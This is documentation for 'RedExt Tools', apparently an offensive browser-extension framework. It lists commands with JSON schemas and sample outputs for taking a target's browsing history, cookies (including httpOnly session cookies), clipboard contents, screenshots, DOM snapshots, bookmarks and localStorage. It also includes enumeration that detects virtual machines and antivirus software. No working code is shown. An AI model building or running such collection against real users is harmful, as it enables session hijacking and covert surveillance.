RedExt Tools
Description
Collects browsing history data from the target browser, including URLs, visit counts, and timestamps.
Implementation
// Command
{
"command": "HISTORY",
"parameters": {
"days": 7 // Number of days to collect
}
}
// Example Output
{
"entries": [
{
"url": "https://example.com",
"title": "Example Page",
"visitCount": 5,
"lastVisit": "2024-02-11T15:30:00.000Z",
"typedCount": 2
}
],
"totalItems": 1,
"days": 7
}
Features
- Configurable date range for history collection
- Includes visit frequency analytics
- Captures page titles and timestamps
- Tracks manual URL entries vs. link clicks
Description
Extracts and organizes browser cookies, with options to filter by domain and secure flag.
Implementation
// Command
{
"command": "GETCOOKIES",
"parameters": {
"domain": "optional-domain" // Optional domain filter
}
}
// Example Output
{
"domain": "all",
"cookies": {
"example.com": [
{
"name": "sessionId",
"value": "abc123",
"domain": ".example.com",
"path": "/",
"secure": true,
"httpOnly": true,
"sameSite": "Strict"
}
]
}
}
Features
- Domain-specific filtering
- Automatic cookie organization by domain
- Captures all cookie attributes
- Supports secure and httpOnly cookies
Description
Captures high-quality screenshots of the active browser tab with configurable quality settings.
Implementation
// Command
{
"command": "TAKE_SCREENSHOT",
"parameters": {
"quality": 50 // Image quality (1-100)
}
}
// Example Output
{
"screenshot": "base64_encoded_image_data",
"location": "https://example.com",
"timestamp": "2024-02-11T15:30:00.000Z"
}
Features
- Adjustable image quality
- Captures full viewport
- Includes page URL metadata
- Automatic error handling for restricted pages
Description
Captures a complete snapshot of the page's Document Object Model, including dynamic content and state.
Implementation
// Command
{
"command": "DOMSNAPSHOT",
"parameters": {}
}
// Example Output
{
"url": "https://example.com",
"timestamp": "2024-02-11T15:30:00.000Z",
"html": "serialized_dom_content",
"resources": {
"scripts": ["list_of_scripts"],
"styles": ["list_of_stylesheets"]
}
}
Features
- Complete DOM tree capture
- Includes dynamic content
- Resource dependency tracking
- State preservation
Description
Monitors and captures clipboard content, supporting both text and rich content formats.
Implementation
// Command
{
"command": "CLIPBOARDCAPTURE",
"parameters": {}
}
// Example Output
{
"timestamp": "2024-02-11T15:30:00.000Z",
"content": {
"text": "copied_content",
"html": "formatted_content",
"type": "text/plain"
},
"source": "https://example.com"
}
Features
- Real-time clipboard monitoring
- Multiple content format support
- Source URL tracking
- Timestamp logging
Description
Extracts the complete bookmark tree from the browser, including folders, URLs, and metadata.
Implementation
// Command
{
"command": "BOOKMARKS",
"parameters": {}
}
// Example Output
{
"bookmarks": {
"children": [
{
"children": [...],
"dateAdded": "2024-02-11T15:30:00.000Z",
"id": "1",
"title": "Bookmarks Bar"
}
]
},
"timestamp": "2024-02-11T15:30:00.000Z"
}
Features
- Complete bookmark hierarchy extraction
- Preserves folder structure
- Includes creation timestamps
- Captures bookmark metadata
Description
Comprehensive system information gathering including hardware, browser capabilities, and security features.
Implementation
// Command
{
"command": "ENUMERATION",
"parameters": {}
}
// Example Output
{
"browser": {
"userAgent": "...",
"platform": "...",
"hardwareConcurrency": "8"
},
"hardware": {
"gpu": "...",
"memory": "..."
},
"security": {
"virtualMachine": false,
"antivirusHints": []
},
"extensions": [
{"name": "...", "version": "..."}
]
}
Features
- Hardware specifications detection
- Browser extension enumeration
- Security software detection
- VM environment detection
Description
Extracts all data stored in the browser's localStorage for the current domain.
Implementation
// Command
{
"command": "LOCALSTORAGEDUMP",
"parameters": {}
}
// Example Output
{
"storage": {
"key1": "value1",
"key2": "value2"
},
"location": "https://example.com",
"timestamp": "2024-02-11T15:30:00.000Z"
}
Features
- Complete localStorage extraction
- JSON-formatted output
- Domain context preservation
- Real-time data capture